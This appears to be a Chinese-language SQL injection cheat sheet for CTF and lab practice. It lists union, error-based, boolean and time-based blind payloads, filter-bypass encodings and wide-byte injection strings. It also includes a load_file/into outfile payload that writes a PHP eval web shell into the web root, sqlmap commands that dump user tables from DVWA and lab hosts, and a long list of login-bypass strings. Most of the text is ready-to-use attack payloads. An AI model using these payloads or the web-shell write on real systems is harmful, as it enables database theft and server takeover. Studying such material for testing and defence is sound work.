1. SQL注入分类
按SQLMap中的分类来看,SQL注入类型有以下 5 种:
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- Time-based blind SQL injection(基于时间延迟注入)
手工注入常规思路:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
SELECT 特殊应用
1
2
3
4
5
6
SELECT DATABASE(); -- 查看当前使用数据库
SELECT VERSION(); -- 版本
SELECT USER(); -- 查看当前登陆数据库用户
select @@datadir; -- 数据路径
select @@basedir; -- mysql安装路径
select @@version_compile_os; -- mysql安装的所在os系统
2. 相关函数
相关函数:UpdateXML()
, ExtractValue()
, concat()
, substr()
2.1.1. UpdateXML(xml_doc,xpath_expr,new_xml)
此函数将xml_doc中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML,三个参数都为字符串。 xml_doc被替换的部分与xpath_expr提供的XPath表达式匹配。 如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 xml_doc片段。
报错原理:利用concat(a_str,sql_str)构造不符合Xpath语法的字符串,导致其解析时报错,updatexml函数将返回报错内容,其中a_str用于让Xpath解析失败,sql_str为正确的能被解析的sql语句。
2.1.2. ExtractValue(xml_doc, xpath_expr)
此函数是返回在xml_doc用xpath_expr路径匹配到的XML片段。报错原理与updatexml()相同。
2.1.3. substr(str_target,pos,length)
对str_target字符串进行截取,从第pos位开始,返回长度为length的字符串。 其中,pos从1开始。
3. 手工注入
3.1. 联合查询
1
2
3
4
5
6
7
8
-- 获取table
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
-- 获取column
union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'--+
-- or
union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167--+
-- 获取表中值
union select database(),group_concat(flag) from flag--+
3.2. 报错查询
1
2
3
4
5
6
7
8
# 获取数据库名
and extractvalue(1,concat(0x7e,database()))--+
# 获取表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
# 获取列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))--+
# 获取字段值
and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),1,30)))--+
原始语句:UPDATE users SET password = '$passwd' WHERE username='$row1'
使用 update 时无法直接使用 select
查询某些字段,
报错:You can't specify target table 'users' for update in FROM clause
解决方法:用 (select username from users)a
替换掉
1
updatexml(1,concat(0x7e,(select group_concat(username,0x23,password) from (select username,password from users)a)),1)--+
3.3. 空格过滤绕过
/**/
--+
#
%09
%0a
%0b
%0c
%0d
%a0
3.4. 布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 猜数据库名长度
1 and length(database())=100--+
# 猜数据库字符值
1 and ascii(substr(database(),1,1))=100--+
# 猜表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=100--+
# 猜表长度
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=100--+
# 猜表字段
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100--+
# 猜列数量
1 and (select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag')=100--+
# 猜列长度
1 and length((select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag' limit 0,1))=100--+
# 猜列字段
1 and ascii(substr((select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag' limit 0,1),1,1))=100--+
# 猜数据值数量
1 and (select count(flag) from flag)=100--+
3.5. 时间盲注
1
2
# 猜数据库名长度
1 and if(length(database())=100,sleep(3),0)--+
3.6. 宽字节注入
使用条件:
编码格式:GBK
, GBK2312
等
过滤函数:mysql_real_escape_string()
, addslashes()
等
原理:为绕过转义处理,使转义字符与输入字符结合成一个新的字符,使其无法转义
1
2
3
4
5
6
'1%df' or 1=1 #
# 16进制ASCII
'-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
# group by
'-1%df' union select 1,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() group by table_name limit 3,1 --+
3.7. load_file()
3.7.1. 检查权限
1
and (select count(*) from mysql.user)>0
若结果返回正常,说明具有读写权限
1
2
3
4
-- 读取文件
union select1,2,load_file('c:/temp/key.txt') --+
-- 写文件
union select 1,2,'<?php eval($_REQUEST["abc"]);?>',into outfile '/var/www/html/shell.php' --+
4. 工具注入
4.1.1. sqlmap
参数 | 作用 | 示例 |
---|---|---|
--technique=B |
强制使用布尔盲注 | --technique=B |
--batch |
非交互模式(自动选择默认选项) | --batch |
--dbms |
指定数据库类型(提高效率) | --dbms=mysql |
--level |
测试等级(1-5,默认1) | --level=3 |
--risk |
风险等级(1-3,默认1) | --risk=2 |
--threads |
并发线程数(加速检测) | --threads=5 |
--dbs |
获取所有数据库名 | --dbs |
-D database |
指定目标数据库 | -D testdb |
--tables |
获取数据库表名 | --tables |
-T table |
指定目标表 | -T users |
--columns |
获取表字段名 | --columns |
-C column |
指定目标字段 | -C username,password |
--dump |
导出表数据 | --dump |
1
2
3
4
5
6
7
8
# 获取数据库
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch --dbs
# 获取表
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa --tables
# 获取列
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users --columns
# 获取数据
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users -C user --dump
1
sqlmap -u "http://192.168.163.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs --batch
宽字节注入
1
sqlmap -u http://192.168.163.132/sqli/02.php?id=2 --tamper unmagicquotes -D iwebsec --dump
post 方式测试
1
2
3
sqlmap -r a.txt -p uname --technique=B --dbms=mysql -D dvwa -T users -C username,password --stop=1 --dump
# --where="username='admin'"
# --limit 1
5. 万能密码
单引号/双引号两种格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
'/**/or/**/'2'>'1
'/**/or/**/''='
'/**/UnIon/**/SeLect/**/1,1,1/**/from/**/admin/**/Where/**/''='
'/**/or/**/2>1#
admin'#
admin'--/**/
admin'/**/or/**/1=1#
admin'/**/or/**/1=1--/**/
admin'/**/or/**/'1'='1
'='
'/**/or/**/2>1--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3#
admin'/*
'or/**/1=1/*
or/**/a"="a
"or/**/1=1--
or""="""
or="a'='a
"or1=1--
or=or"""
''or'='or'
')/**/or/**/('a'='a
'.).or.('.a.'='.a
'or/**/1=1
'or/**/1=1--
'or"="a'='a
'or'/**/'1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or'/**/1=1--
a'or'1=1--
or/**/'a'='a'
or/**/1=1--
or1=1--
'.).or.('.a.'='.a/**/
or/**/=/*
"or/**/1=1%00
'OR/**/1=1%00
-1%cf'/**/UnIon/**/SeLect/**/1,1,1/**/as/**/password,1,1,1/**/%23"
' or '1'='1
' or ''='
1
' or 1=1#
' or 1=1--